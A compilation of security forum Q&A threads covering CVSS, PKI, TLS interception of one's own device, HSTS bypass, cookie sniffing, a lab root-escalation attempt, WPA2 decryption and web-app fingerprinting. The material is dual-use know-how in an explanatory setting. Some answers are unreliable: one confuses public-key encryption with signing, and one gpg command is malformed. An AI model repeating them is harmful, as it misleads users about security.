Does CVSS v3 evaluate the impact of vulnerability on the host? Recently after checking out the Heartbleed vulnerability I was taking a look at its CVSS score (AV:N/AC:L/Au:N/C:P/I:N/A:N) and noticed the following (partial) addendum:

  CVSS V2 scoring evaluates the impact of the vulnerability on the host
  where the vulnerability is located. When evaluating the impact of this
  vulnerability to your organization, take into account the nature of
  the data that is being protected and act according to your
  organization’s risk acceptance.

After taking a look at CVSS v3 specification document I was not able to find a piece of text that quite explained whether the scoring system evaluates the impact similarly to its predecessor. If so, does CVSS v3 still evaluate a vulnerability based on the impact it has on the host?

The reason I ask is because Heartbleed seems to be rated way lower than what it deserves to be rated (relevant) and was wondering whether this would re-occur in a future vulnerability using CVSS v3.

Yes it does.  A CVSS 3 base score is calculated using eight factors:

Impact is determined by: scope, confidentiality, integrity and availability.
Likelihood is determined by: attack vector, attack complexity, privileges required and user interaction.

A good place to learn about these is the online calculator.

The problem with CVSS and Heartbleed is that it doesn't account for chained vulnerabilities. The real concern is that an attacker uses Heartbleed against your VPN server, steals credentials, uses the credentials to connect, then wreaks havoc on your network. Using CVSS you only consider the first bit, so there is no impact for confidentiality and integrity. And with CVSS 2 the confidentiality impact is "partial" not "complete".

CVSS 3 works a bit better; I score Heartbleed as 8.6. Impact ratings are now low/high instead of partial/complete. Heartbleed is certainly high confidentiality impact, even if it's not complete. They also introduce the somewhat obscure "scope" factor. Heartbleed has changed scope, as you're accessing memory outside the intended scope of an SSL connection. However, CVSS 3 still doesn't account for chained vulnerabilities.

There are also CVSS temporal and environmental scores which add additional factors. The idea is they help you measure things like "this particular box is great risk right now". However, I've found temporal and environment scores to be rarely used and not particularly helpful.


Extend hierarchical PKI The figure below shows four simple hierarchical PKIs. A, R, H and N are trust anchors of their PKI.

I am supposed to add exactly one certificate so that T trusts G, but not D. Furthermore R must not trust P. First I thought to let C certify G, but the solution proposes a certificate of C for P.
If C certifies P, there exists a path from R to P. P becomes a child of R. Therefore R should trust P. But why is that not the case?

Another certificate is searched in order that D trusts J and L, but not K. Furthermore N must not trust B.
When introducing a certificate from D to B, D will trust J and L but not K. The same moment trust from N to J and L arises (because there is a certification path). So how can this task be solved?

I have a feeling this is really a graph theory puzzle. -- I kinda like those. -- But this is very different from a real live PKI implementation.

Anyway: here's what you could do in a real live PKI:

  I am supposed to add exactly one certificate so that T trusts G, but not D.

Add G to T's list of trusted sites.

  Another certificate is searched in order that D trusts J and L, but not K

Add J and L (or just B) to T's list of trusted site.


Intercepting and reading SSL traffic generated by Android I am trying to use my PC to capture, decrypt and analyse traffic from SSL sessions on my android tablet. So far, I have a ZAP proxy server set up, with a CA generated. On my android device, I have ProxyDroid set up, that transparently routes all web-seeking traffic through the ZAP proxy I've set up.

Browsing https sites via chrome on android, and accepting the ZAP certificate on the red warning page works well, and gives me un-encrypted sessions on ZAP. However, any other apps that communicate via ssl/https simply refuse to send any network traffic.

I would like to know how I can set up a 'universal' trusted CA certificate on my android device, that allows me to see the un-encrypted traffic on ZAP. My android device is rooted.

Let me know if the information I've provided is incomplete or not clear.

(Thanks)

You should be able to add a root certificate to the keystore in Android under the settings.  Note that adding a certificate to the keystore will require a password or pattern lock to be turned on on the device.  You can access the keystore under Settings/Security normally, though some customized versions of Android may have moved it a bit.


How is danger / badidea / thisisunsafe justified? The HSTS standard states the following:

12.1.  No User Recourse
Failing secure connection establishment on any warnings or errors
(per Section 8.4 ("Errors in Secure Transport Establishment")) should
be done with "no user recourse".  This means that the user should not
be presented with a dialog giving her the option to proceed.  Rather,
it should be treated similarly to a server error where there is
nothing further the user can do with respect to interacting with the
target web application, other than wait and retry.

https://tools.ietf.org/html/rfc6797#section-12.1
I can see why for non-HSTS hosts (such as networking devices) it would be beneficial to have a way to bypass the warning quickly, for setting up and deploying a valid certificate, as these devices may come out of the box with an invalid certificate.
Given that the HSTS standard says that there should be no user recourse, and that there is already a --ignore-certificate-errors flag which achieves the same aim, what is the justification for giving users an easier way to get around HSTS issues, rather than limiting the bypass to non-HSTS hosts?

It's probably within the spec. The phrase is regularly changed, and it's not something you happen upon by chance. You have to know what you're looking for (e.g. google 'chrome hsts bypass'), which indicates that you're aware of the risk.

The bar for using this is a lot higher than clicking 'Proceed', as it is not documented in the Error Message shown to the user.

In addition, there's really no certifying authority when it comes to RFCs. Parts of them are open to interpretation, and there is no official body that will tell you if you comply with a RFC or not.

Having a way to bypass it for users that do understand the implications is in my opinion wise, as it makes it easier to dissect if your own site is under attack - or if you are simply investigating for instance a phishing attack against your organization.

In short - it's an balancing act between being impossible and really obscure. I think the thisisunsafe is an reasonable balance. Unlikely to be used by unknowledgeable users, yet available when needed.


VPN access real location issue I'm using a  VPN which works fine, unless when on Firefox a website asks if they can access my location and I click 'Yes' then it reveals my real location.
How is that possible? Is there any way to click Yes with it revealing the VPN location? since some websites don't seem to work properly without a Yes.

Unless you've disabled it, Firefox enables WebRTC by default which can expose your local address behind a VPN, depending upon VPN details.
In any case, check your VPN connections at some diagnostic sites like:
ipleak.net
perfect-privacy


how to stop write downs Consider a scenario with two security levels, Alice and Bob. Bob is Alice's boss. Bob must be able to read Alice's documents but not write anything to her documents.

I am using encryption keys to encrypt all of Alice's data, and then giving Bob the private key/ However I have realised this will not stop him editing it, just giving him the public key would allow him to edit it but not see it.

Basically how would Bob be able to see and not edit Alice's files?

Alice has the private key and the boss the public. The boss can use the public key to read things Alice makes, but Alice is the only one that can encrypt her stuff with the private key. Even if the boss edits a file he will not be able to save it (re-encrypt it) because he does not hold the private key. Alice can read and write because she holds both the encryption and decryption key.


Getting the DNS root name servers in a secure way It doesn't happen often that a root name server changes, but when it does sometimes it takes months for OS vendors to provide patches and in the mean time there is a security risk.

So:

How to get named.cache (or named.root/db.cache from the same directory - the files are identical) in a secure way from http://www.internic.net/zones/ or ftp://ftp.internic.net/domain/ or http://www.internic.net/domain/?

The server behind those URLs does not support https. But there are md5 and sig files in these directories for every data file available.

As md5 isn't that secure, could the sig files be used?

If so, how?

(Note I'm not asking this on unix.stackexchange.com or superuser.com as I'm interested in the security aspect of this in a platform neutral way).

The .sig file provided for each zone allows for an method of verification using the signature located at the bottom of the INTERNIC_ROOT_ZONE.signatures.asc file.

Using PGP you can then do the following for verification (see PGP key here):

$ gpg --keyserver --recv-key 0x0BD07395
$ gpg --verify zone.sig zone


Samples of malware that trigger AV but are harmless Is there any malware currently downloadable by an amateur that will be detected as malware by anti-virus programs, but does not do much (is harmless or had its C&C servers shut down)? I'm preparing a brief presentation on malware and AVs to my boss. If that does not work or there are none, is there any ransomware that encrypts the file with a known key so it can also be easily decrypted?

The EICAR anti-malware testfile is a small and innocent program which is detected by (almost?) every AV. All the program does is print a short string, i.e. no harm is done. It is specifically intended to be used to test AV, i.e. even a AV without current signatures should be able to detect this "malware".


Can Cookies Without the Secure Flag be Stolen, even when only accessed via HTTPS? Is it possible to capture the cookies used by HTTPS site when cookies don't have secure flag set.

Suppose the site is https://www.example.com.

http://www.example.com does not show up, also http://www.example.com:443 does not.

Still can there be any way?

Yes.

HTTPS prevents MITM attacks. Consider:

1) you visit https://secure.example.com/ which drops a cookie on your browser

2) you then visit http://www.google.com/ however a MITM inserts

3) MITM sniffs your cookie from the request on the iframe

Or even if you (deliberately) navigate from https://secure.example.com/ to http://secure.example.com/ then the attacker doesn't even have to inject any HTML to sniff the cookie.

And then there's also the possibility of session fixation - where even if the cookie dropped by https://secure.example.com/ has the secure flag set, that's no use if it sends back a session id it received in a non-secure cookie (again set via MITM).


SSH Access using private keys I am trying to practice ethical hacking in my own lab. I have got limited shell in a fedora box in addition I am able to read root files like /etc/shadow trough another vulnerability.

Now, I need to get the box rooted, I tried to crack the root hash in /etc/shadow but no luck. I though of getting in using ssh keys.

I managed to get the content of /root/.ssh/authorized_keys and thought that I can use it to authenticate without a password. however, when I issued the following command :

     root@kali:~/Desktop# ssh -o BatchMode=yes -i ~/Desktop/x.pem root@10.0.0.50

Permission denied (publickey,gssapi-with-mic,password).

I get the error above -where x.pem is just a file i used to save a copy of the key found in authorized_keys as it is on the victim machine. any idea what is the problem? or another suggested way to get a root privileges ?

Thanks

~/.ssh/authorized_keys contains the public key, you need the corresponding private key to login. Private keys usually look like ~/.ssh/id_rsa, ~/.ssh/id_dsa, ~/.ssh/something.id_rsa, etc.

Unfortunately you didn't post enough information on what privileges you exactly have / the possibilities your vulnerability provides (can you only read files as root, can you execute anything as root?).


AES in CTR mode. Does both parties have to know the nonce? I'm a little bit confused.
I'm using AES in CTR mode.
Do i need an mechanism to send the nonce with the cypertext?
Or expressed differently: does every participant has to know the current nonce to encrypt/decrypt the message?

Normally the nonce would be 0 as in the NIST documentation:

  In  the  recommended  usage  scenario,  the  party  encrypting  maintains  an  integer  counter,
  nonce
  ,
  initially 0, and produces the string
  ctr
  as the 128-bit string which encodes the number
  nonce
  2
  64
  .  (In other words,
  nonce
  is regarded as a 64-bit binary number, and
  ctr
  is constructed by appending to this number 64 zero-bits.)  The
  number
  nonce
  is incremented following each encryption. Typically, one transmits
  C
  along with a string which encodes
  nonce.

If you choose to use an other nonce you would have to send this to the decrypter as well. More can be found in this NIST document.


PHP & MySQL encrypting data that I need to decrypt at some point I have an application where a user buys "gift card pins". Once they have completed their purchase, we, as a broker, buy the pins from a 3rd party and need to deliver them to the end user.

Once we have the pins, we need to upload them for the user to be able to use like a normal card. Due to needing this being sensitive data but at the same time, data that needs to be eventually shown to the end user, I am stuck on a best approach here.

I need to store these codes securely but at the same time, be able to decode them as the end user needs to see the code to user on merchant XYZ's website.

The application uses PHP's CodeIgniter framework which has a built in encryption library.

Example:

$this->encryption->encrypt($data['Pin']).

The pin is then encrypted and stored in the MySQL DB and can be retrieved with:

$this->encryption->decrypt($pin).

The issue with this, from a security standpoint is that the PHP application has the encryption key stored within it so that it can run these methods.

I don't think I can use hashing in this situation as I need to eventually know the true value of the data.

Any suggestions on an approach for this?

The purpose of your application is to store a secret and reveal it to an authorized user at the right time. This doesn't work without being able to decrypt said secret. I am afraid that any solution where your organization is completely unable to access the secret is not going to work. So the only security practice which is going to protect you from the worst case scenario is the obvious one: "Don't have any security holes in your application."

However, encrypting data at rest in the database can still make sense if you want to compartmentalize knowledge of different departments in your company.

For example, if only the application server admin has access to the decryption keys used in the production environment, then you can grant any database admins and developers read-access to the production database without having to worry about them stealing any pins. The majority of day-to-day issues will be solvable without requiring the pins in clear-text. Just keep in mind that there will still be situations where in order to troubleshoot a problem someone must decrypt a pin in the production database. So make sure that your processes allow an exception for these situations.

This, of course, only applies if your organization is actually big enough for such a compartmentalization to make sense. When you are a small business where DBA, server admin, developer and security manager are the same person, all of this is pointless.

It might also help in those situations where unauthorized people gain read-access to your database (for example through an SQL injection or database server misconfiguration) but not to the server configuration where the decryption key is stored. But remember that this is just a limited subset of possible attack scenarios.

But in any case, be careful not to overengineer on your at-rest data encryption. The fancier your solution, the more bugs it will have. And the more bugs it has, the more situations you will have where people are forced to look at the decrypted data in order to fix said bugs.


Are duplicate SSH server host keys a problem? I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all have the same host key. I'm certain this is bad, but I can't explain why. Can you explain why this would be or provide an example of a scenario in which this could be exploited. Or is it just a case of bad practice?

The more a private key is shared, the less private it becomes. This is just a generic assessment: in some situations, this can be harmless. What it means in the specific case of SSH servers is that the security of these three servers becomes an all-or-nothing system:

Each server knows enough to impersonate any of the others.
If one of the server is hacked into, the attacker learns the shared private key and can impersonate any other of the servers.

Sharing the private key, on the other hand, can have real benefits:

As you observe, it happens "naturally" in some cases of VM cloning.
If routing is dynamic in some way (e.g. there is load balancing), a given client system may not always fall on the same machine for the same name; in that case, if the relevant nodes do not share the same private key, then the client will shout and scream and complain.
When a client connects to a given server for the first time, that client has no saved public key for that server yet, so the human user is supposed to check the server key fingerprint against an authoritative source (e.g. a phone call to the sysadmin). If all servers share the same private key, then the single fingerprint can be printed out in big letters and glued to the office walls; this is much less practical when there are many servers and each of them has its own key.

Sharing the private key is thus a definite "no way" thing when the machines are not meant to be equivalent to each other with regards to security. However, when they are equivalent, sharing the private key can make some operations simpler. Sharing the private key MUST be done when some forms of load balancing are employed (although load balancing and SSH rarely fit together). Sharing the private key can be considered "acceptable practice" when all the systems are elements of a big computing cluster.


Are there any regulations against financial companies storing passwords in plaintext? A bank that I use stores my password in cleartext or perhaps using reverisible encryption, which is just as bad.

I know this because when you click "Forgot your password?" (or similar) link, it sends you an email with your password in cleartext. (Gave me quite a shock.)

Are there regulations against this?
Any other feedback or advise would also be appreciated.

EDIT: I'm located in Michigan, USA.

This practice is horribly insecure, and unfortunately way too frequent. As acoolguy said, you can write direct complaints to the bank and your financial ombudsman, but you'll usually end up howling into the wind.

If the bank has dealing with payment processing companies such as Visa or Mastercard, you could try contacting them. Often, they have strict rules (e.g. PCI-DSS) about what banks are allowed to do. Whilst it's unlikely that you'll be able to directly get them to fix the problem, informing the payment processors usually starts and official investigation that could end up being extremely embarassing for the bank.

Sadly, the only sure-fire way to get them to fix it is to go as public as possible. Make it a PR nightmare for them. Shame them on Plaintext Offenders. Get on Twitter, get on Facebook, and let people know what they're doing, and why it's bad. If you can get enough people to complain, you can actually make a difference. That's what Troy Hunt and I have been doing with Tesco recently, and it's proven to be reasonably successful.

I wish you the best of luck.


How does Github preserve versioning integrity? Given that a malicious party gains access to a GitHub repository, would it be possible for the adversary to delete or modify versioning information / history after she altered code stored on the repo? Is it possible to always detect such code changes after a compromise of a GitHub repo?

The most damaging thing someone can do to a GitHub repository is to delete it. With enough access they could then create a new repository with the same name. After that, anything they wanted can be different from before.

Git lets you sign commits. Making and verifying those digital signatures is a good way to assure yourself that the changes retain integrity.


Dangers of a vulnerability in a local installer? I sent a message to my dev manager about a buffer overflow in our (widely distributed) installer, and received a response that it didn't matter as it wasn't server code.

Other than the fact that if it can be fixed, there is no real reason to not, I feel as if I'm forgetting some actual reasons this can be an issue:

User experience issues
Possible privilege escalation
Malformed product key for a reverse connection

I feel as if there are still things I'm not thinking of that I could mention to him as reasons, other than "just because".

The only way I can state this with absolute clarity is the following:

A vulnerability is a vulnerability is a vulnerability.

Not patching the problem is an exercise in extreme irresponsibility.

Technical reasons:

Possible privilege escalation.
Crashes from corrupt input files, leading to bad UX and other nasties.
If a user sees an innocuous file (i.e. not an executable), they may assume that it is safe to use, then get pwned when it turns out to be full of shellcode.
You could be shipping the installer with security-sensitive software.

Business reasons:

Your customers pay you money. Do right by them, because they keep your company afloat.
If some blackhat exploits your flaw, it'll be a PR nightmare, and you'll have to fix the bug anyway. It makes financial sense to spend the developer time on this now, rather than later.
If the public find out that you knew about this and never fixed it... well, you get the picture.
You can and will be sued by companies that lose data due to vulnerabilities in your code, especially if they know you could've prevented it.

Finally, an ethical reason. If your installer is as prevalent as it sounds (e.g. the likes of InstallShield, Nullsoft, etc) you'll most likely have customers whose software is security-sensitive. This could be something as important as TrueCrypt or Tor, where people can literally get hurt or killed over security failures.

Do the right thing. Fix the bug. If he's resistant even after this, you might want to offer to do it on your own time, even if it sucks that you have to work unpaid.

On a slightly less serious note, if I find out I'm running your installer software, and I find out that you have to bitch at management to fix a security bug, I'm probably going to run away from your company like this:


Are custom protocols insecure? So, I know rolling your own security is ill-advised, but for simplistic things like communicating with a home server, say, updating a grocery list, is a custom protocol fine?  It won't be doing anything that needs to be secured,  so it seems fine in that sense, but I guess someone could reverse engineer packets and send bogus grocery lists... but then "bogus grocery lists" seems hardly an issue.

So, are simplistic protocols not carrying sensitive data still a hazard to create and use?

--- Clarification

Kk, so if the data does not need protecting, simplistic custom protocols won't keep the data secure, which is fine for "worthless" data; but how about the server/client that implements these protocols?  Will the use of breakable protocols create insecurities on those implementing the code to support them?

By definition, if it doesn't matter if someone has access to or modifies your data, then it isn't sensitive and doesn't have to be secure.  For things that have to be secure, then it is ill advised to use a custom protocol unless you can invest the huge amounts of time and resources necessary to ensure its security (millions).

Note that there is also a difference between the security and data protocols though.  You could use something like SSL and use any protocol you want for exchanging the data.  Similarly, you could have your own system for verifying the user credentials, but the hash algorithms and encryption algorithms and anything else that can use standards should do so.

There is a lot more flexibility in how you use the standards together than in trying to make your own standard.  Certainly it is preferable to use a complete standard system if possible, but it is far less burdensome to prove the security when you are using components that can be assumed to do their job in a secure and well understood manner.


VPS outbound emails security I have an instance of VPS running with logrotate that emails me logs every day. It is a send-only SMTP server with Postfix, set up using this guide. I just need to receive the logs from this server. Incoming email is on the different server that I use for communication.

It works great, however I have a concern if someone will intercept my logs, they might find out some vulnerable info about the server.

My questions are:

1) Is the outbound email secured when sending it like that?

2) What can I do to further secure the outbound emails? Encryption? Tls?

I do have a certificate from Let's Encrypt, but not sure if it will matter here?

Thanks in advance!

1) Is the outbound email secured when sending it like that?

No. The setup you use is just a minimal setup and does not enforce TLS with proper certificate validation to the target mail server.

  2) What can I do to further secure the outbound emails? Encryption? Tls?

The best is actually to encrypt the mails itself and don't rely on the security of the transport, because mail transport does not offer much security. For proper end to end encryption of mails use PGP and S/MIME.

  I do have a certificate from Let's Encrypt, but not sure if it will matter here?

It does not really matter. Since you are only sending this certificate could at most be used as a client certificate to authenticate against the target mail server. In your current setup this does help. If you would use a fixed target mail server and would set this up to require and properly verify a client certificate then it might help.

But again, the easiest way to get better security is to use PGP or S/MIME to encrypt the message itself and not rely on the security of the transport.


To What Extent does an Attacker Have Access to the Browser History through the CSS Pseudoclass :visited Styles? I have read this article on how a scripted web page is able to obtain the visited history of a user browsing the page. However, I can't find any clear information in the article describing the extent of who or what can access the user's browser history.

By using a script that tests for differences between visited and unvisited links for a given url, an attacker is able to learn which sites have been visited or not.

But who would be the attacker? The web site hosting the web page with the history sniffer script? A third party (i.e., another web site in addition to or instead of the hosting web site?)? Additionally, if a third party has access, does this mean all other subsequent visited sites down the road have this access?

CSS history leak is now fixed by http://dbaron.org/mozilla/visited-privacy
So to answer the question in the subject: negligible (just very outdated browsers, probably some <10%). However, history leaks are still the case.

For the descriptions of  real risks of history leaks here:
http://w2spconf.com/2010/papers/p26.pdf and http://petsymposium.org/2012/papers/hotpets12-4-johnny.pdf

Although CSS hack are solved, you must remember histories might leak due to multitude of channels: interactive techniques:  http://www.ieee-security.org/TC/SP2011/PAPERS/2011/paper010.pdf
 (can be now greatly simplified and improved)
or timing analyses (a classic paper here http://selfsecurity.org/technotes/websec/webtiming.pdf; now practical approach would be much more effective, see also references in previous papers).

The attackers can be: visited sites (so all 3rd-party scripts as well and yes, it can be used to track users also using other techniques then the ones discussed above).

It was also maliciously exploited by at least several sites http://cseweb.ucsd.edu/~d1jang/papers/ccs10.pdf

The references in these papers are also informative.


How to check connectivity between raspberry pi and server How to check connectivity between raspberry pi (which act as a client) and server using web-socket

Use nmap with the -p option to have it "ping" the specific port you'd like to test. You can cron this, or script it in any number of ways.

The nice thing about this is you can test the TCP connectivity without creating logs on the server or take it a step further and get the version information from the server which will confirm that the server itself is responding to requests.

You can do this with lots of other tools like curl or wget and each have different advantages and disadvantages. Alternatively there are lots of small-footprint network monitoring tools which would also do the job.

If you are also looking to log this data setting up something like MRTG or RRD may also be useful to spot patterns in downtime.

https://nmap.org/

https://curl.haxx.se/

https://www.gnu.org/software/wget/

http://oss.oetiker.ch/rrdtool/gallery/index.en.html

http://oss.oetiker.ch/mrtg/


Do salts have to be random, or just unique and unknown? First of all, my motive is to avoid storing the salt in the database as plain text. As far as this question is concerned, the salt is not stored in the database.

After discussion in comments and in chat, I've come up with a theory:

It appears that using doman_name + user ID alongside a pepper will provide a sufficient combination of randomness and uniqueness.

Would a method such as this provide just as much security as a random salt without having to store a designated salt in the database as plain text?

The only requirement of a salt is to be globally unique. It doesn't have to be random and it most certainly does not have to be unknown.

Note the keyword globally. A salt must be unique not only in the context of your database, but in the context of every single database out there. An email or an incremental user ID is (very) unlikely to fulfill this requirement. Using a randomly-generated salt does.

EDIT

I'm going to address the whole using a domain + userid as a salt idea that came up in the comments. I do not think this scheme is a good idea especially when compared with just using a random salt.

If your site is a high target one, an attacker might find it worthwhile to generate a rainbow table targeting the admin account before the attack occurs. This might allow him to get access before the attack gets discovered. The domain + userid scheme does not work well when you consider this situation because the admin account is usually within the first few userids in the system especially when userid is incremented using a counter.

That being said, this whole discussion is really moot in practice. Generating random salts is easy and fast. Many password hashing libraries, especially the bcrypt ones already do it for you. There really isn't a point in rolling your own scheme even if it's just as secure. Let's face it, we are all lazy people aren't we? :P Why reinvent the wheel?


Why does Firefox no longer recognise certificates issued by Multicert / Camerfirma? Today I noticed that Firefox 88.0 beta (on macOS) is rejecting TLS certificates for many Portuguese websites – including most government websites – with the error SEC_ERROR_UNKNOWN_ISSUER.
Example sites:

https://www.autenticacao.gov.pt/
https://www.portaldasfinancas.gov.pt/
https://www.ctt.pt/

These certificates all have in common that they are issued by Multicert (CN: MULTICERT SSL Certification Authority 001), which is itself certified by Camerfirma (CN: Global Chambersign Root - 2008).
I cannot tell from the error which part of the certificate chain (Multicert or Camerfirma) is "unknown", and nor can I find any information about a revocation online (though I can see that Camerfirma has been plagued with poor security practices for years).
The same websites currently load fine in release versions of Safari and Chrome, as well as Firefox 78.9.0esr.

Why is this major European CA "unknown" in current Firefox beta?
Has there been a security incident with Multicert or Camerfirma that I should be aware of?

It appears that Camerfirma was revoked from Mozilla Firefox 88:

As many of you have pointed out, there do not appear to be remediation
actions that Camerfirma can take at this time to sufficiently reduce
the risk of continuing to keep the Websites trust bit enabled for the
Camerfirma root certificates. Note that Camerfirma has indicated to us
that they are exiting the TLS certificate business.
...
...we intend to turn off the Websites trust bit for the following root
certificates in our upcoming batch of changes to Mozilla’s root store,
which is expected to happen in Firefox 88

The "..." elision above contains a number of their reasons why, which have a lot in common with the list of poor security practices you've already provided.
Chrome 90 will take the same action.


Would 2FA's second factor be a safe enough way to login? I'm thinking of adding my website an option to login with just 2FA's second factor instead of just password. How safe would it be? I'm thinking of TOTP as 2FA method. Considering it isn't a big or important website, would it be safe?

The obvious problem with this is the same problem with just using a password: as soon as someone has that, they have all the access they need. Assuming you'd use your phone, then if your phone was stolen, then that person can log in.

If you feel that the risks of using this method is acceptable, then it's acceptable. But you have to understand the weaknesses of the approach and accept them as part of the deal.

Let's put it another way in an extreme case: is it "safe" (you haven't defined that) to use a password of "123456"? Sure, it does keep people out of your account, until someone tries to guess your password and tries this very, very common password. Your account is "safe" from people who will not try to guess your password (but unsafe against those who do).

Is using a super-complex random password of 30 characters "safe"? Sure, it is now safe against those who would try to guess your password, but unsafe against those who would try a keylogger, or a password database that stores everything in plaintext, or a super-computer dedicated to cracking your password.

Each layer of complexity increases "safety" and secures your account against certain groups of threats. By only using 1 factor, you reduce the complexity and reduce the number of groups that you are securing against, but perhaps that groups that remain are sufficient for your needs.


How does OpenID signature work without a shared key? Following is my understanding - A third party app redirects to a an OP for authentication. Once the authentication is complete the OP redirects back to the third party app.

It also sends back in query string a number of parameters and also sends back a signature. My question is how does the third party app verify the signature. As I understand it will need a shared key to do this, but I don't see that shared in the in the initial redirect to the OP?

Now assuming that a key was shared, then what is the use, as the communication can be sniffed, and the contents manipulated.

According to the openid spec, a shared key is (optionally) established between the OP and the Relying Party using a Diffie-Hellman Key Exchange

Diffie-Hellman is one of the key agreement protocols which allow for two parties to establish a secret key without a third party knowing what that key is.

  The Relying Party verifies the information received from the OP including checking the Return URL, verifying the discovered information, checking the nonce, and verifying the signature by using either the shared key established during the association or by sending a direct request to the OP.

If the shared key is trustworthy, any contents modified should fail signature verification. This verification is done by the Relay Party, or web application looking to verify OpenID credentials.


Wireshark can't decrypt WPA2 LAN traffic I want to decrypt my own network traffic.

I have Linux Mint on Samsung Laptop with a AR542x Wireless Network Adapter.

Open Wireshark, start capture in promiscuous mode & monitor mode and I receive all the packages around me.

  The problem is that I cant decrypt it.

I added in Preferences -> Protocols -> IEEE 802.11 Decryption keys :

pwd in format pass:ESSID
PSK generated from pass + salt from Wireshark website

I found a lot of comments on this subject, tried everything out there :

play with "ignore protection bit" and "assume packets have FCS"
restarted Wireshark
connect a device to LAN after the capture has peen started so the handshake can be captured.

  What can I do ?

EDIT :

I updated Wireshark to last stable version for Linux and still doesn't work.

OK, let's start with the basics, to decrypt the traffic you need the PTK (Pairwise transient key) which is dynamically generated every connection (hence you need to capture the 4-way handshake) and is derived from the PMK (or PSK) which is generated by the PBKDF2 and has two inputs (It has more but are hardcoded) that you already have.

For Wireshark to decrypt the traffic it needs the capture the four way handshake (From here it takes the ANounce, SNounce and MIC to verify if the PTK matches the conversation) and provide the PMK.

To provide the PMK just add the passphase to the 802.11 key list in Edit->Preferences->IEEE 802.11 with the right syntax

wpa-pwd:passphrase:SSID
OR
wpa-pwd:passphrase

The SSID is optional, Wireshark can get it from the handshake when it sees it.

IF YOU USE wpa-psk: you need to manually compute the PMK (PSK) with the PBKDF2 function and write the output (256-bit key) after it, like this:

wpa-psk:47389...30413

Here's the guide from the wiki. Maybe you're just missing the wpa-pwd: in the key field.

  pwd in format pass:ESSID

FINAL SOLUTION

In Wireshark select the channel in which the AP in on. (Provided by doremifasolasido)


Does Outlook "trusted domain" actually do any sort of checking? When you receive an email containing pictures from a new domain in Outlook you can right-click on the address and "Mark this domain as trusted" which will autoload all the photos on future emails.

But the "from" field in an email is spoofable by anyone with a passing knowledge of programming. So my question is does Outlook actually scrutinize the headers and the email's origins? Or is it just setting a text filter for future "from" fields?

Under the latter case if I marked example.com as trusted then any future spam falsely claiming to be from example.com would screw me.

It appears from Microsoft's documentation that the "Mark this domain as trusted" is a simple regex on the sender's email address, including the account name. So, it would appear that there is no analysis of the headers, MX records, SPF records, etc. on the client-side.

That means that a spoofed allowed email address from a blocked domain could be treated as an allowed email.

But this is the client-side of things. Header analysis should be done on the server-side, checking the SPF records, matching account domain with server domain, etc. By the time it gets to the client, all that should (that's a big 'should', I know) be required is a simple regex on the email account ("I don't want to hear from Bob").

I do a lot of phishing analysis and attack simulation, and I have successfully used a client's internal Exchange server to spoof internal employee's email from my own custom application. So, I know that hoping the server will do everything is a vain hope. But, my point is that the client really isn't designed or supposed to do this level of checking for you, protection at this level is expected to come from the server.


Block external http calls I want to run many snippets of untrusted and unknown code on an Ubuntu machine hosted on Digital Ocean. For safety reasons, I would like to record and block any external calls made by any of the code snippets. I'm sure this is a very basic question but I did some cursory searching and am not sure how to do it. I'm sure there must be a standard Unix way. I need to be able to SSH to the box, but that's it. I want to turn external connections back on after I'm done testing.

I realize there are many concerns regarding running untrusted code beyond external http calls. But this is the aspect I want to focus on in this question.

Found a post on SuperUser showing how to do this with iptables: https://superuser.com/questions/923512/how-can-i-block-all-outbound-connections

In addition, Digital Ocean offers cloud firewalls:  https://www.digitalocean.com/docs/networking/firewalls/

It ended up being very easy to configure a firewall as shown above.

(I promise I'm not a Digital Ocean representative in disguise.)


Checking if a web application uses known vulnerable components I've been doing research on the OWASP top 10 web application vulnerabilties, one of them is using components with know vulnerabilities. I'm a little confused here, as I don't understand how you could possibly check a web application for this.

My understanding is that you would have already had to find a vulnerability within the site and successfully exploited it to figure out if there are any other known vulnerabilities in the site.

So my question is, how can you check if a web application (as the attacker) has known vulnerabilities in it without already having exploited the application successfully? Is this even possible?

how can you check if a web application (as the attacker) has known vulnerabilities in it without already having exploited the application successfully?

There are various ways of fingerprinting a web application without having privileged access.

A common way to start is by identifying the versions of used libraries, frameworks and their respective plugins. This can be done by inspecting the source code, headers, guessing paths of readme files, etc. You'd then check if these versions are up-to-date or if there are any published vulnerabilities for them on the web.

As an example, take Facebook's blog https://newsroom.fb.com/. By looking through the source code, you'll quickly find strings indicating that they're using Wordpress, e.g.:

<meta name="generator" content="WordPress.com" />

Knowing that they employ Wordpress you may want to look for popular plugins that are known to be vulnerable. E.g., they seem to be using the AMP plugin, because there is a readme.txt at:

https://newsroom.fb.com/wp-content/plugins/amp/readme.txt

This readme reveals that they use the latest version 0.5.1, so the plugin seems up-to-date.

Another example would be https://stackoverflow.com where you can discover which version of jQuery they use:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>

Although 1.12.4 isn't the latest version, there don't seem to be any immediately exploitable flaws.

As you can see, checking an application for known vulnerable components doesn't necessarily require privileged access since versions and configurations are often leaked.


How to set up the Tor browser on Linux Mint in a VM with a VPN on the Host (Forgive me, I don't know whether to post this here for in the "Tor" community)

I'm brand new to Tor, I understand the basics of how it works and the Do's & Don'ts. I have a Windows 10 computer (Fully up to date) with Virtual Box installed. Within the VB I have Linux Mint installed, set up and ready to go. I have also downloaded the Tor browser from the official website. However, when I boot the browser it asks me if I want to just connect and go, or if I want to configure the browser if I have a VPN running. Thing is my Host Windows 10 system has ProtonVPN installed and active. So my question is do I need to configure the Tor browser even though the VPN is on the host? If I do need to configure it, how do I do that? Thanks.

It depends upon how your VM is connected to the Internet. Generally there are two options: NAT or BRIDGED.

NAT will use whatever your Host is using, including a host VPN if present.

Bridged will set up a second native connection as if the host were not present.

In either case you want to "Just Connect".

Although there are a few reasons for tunneling Tor through a VPN, they all relate to locally hiding the fact that you are running Tor. It does not substantially add to security or anonymity over running Tor directly.


Modern version of EICAR test file? Is there a modern version of the EICAR test file? Something lika a 64 bit EXE?

The old 16 bit COM file doesn't even run on modern systems.

I usually use some benign file that is detected anyway, like netcat or VNC, but a standard one would be better IMO.

Addition:

Some background: a while ago I experimented with some file permission settings that hid the file from most AV scanners (they fixed this hole since) but still allowed it to be executed. For this test a file that can be actually executed is needed. As EICAR is unfit for this, I used, IIRC, the bo2k exe file.

Following the the logic of some comments and answers (it does not need to run, just should be detected), why have a COM file at all? A simple TXT file containing EICAR-STANDARD-ANTIVIRUS-TEST-FILE would do the same job.

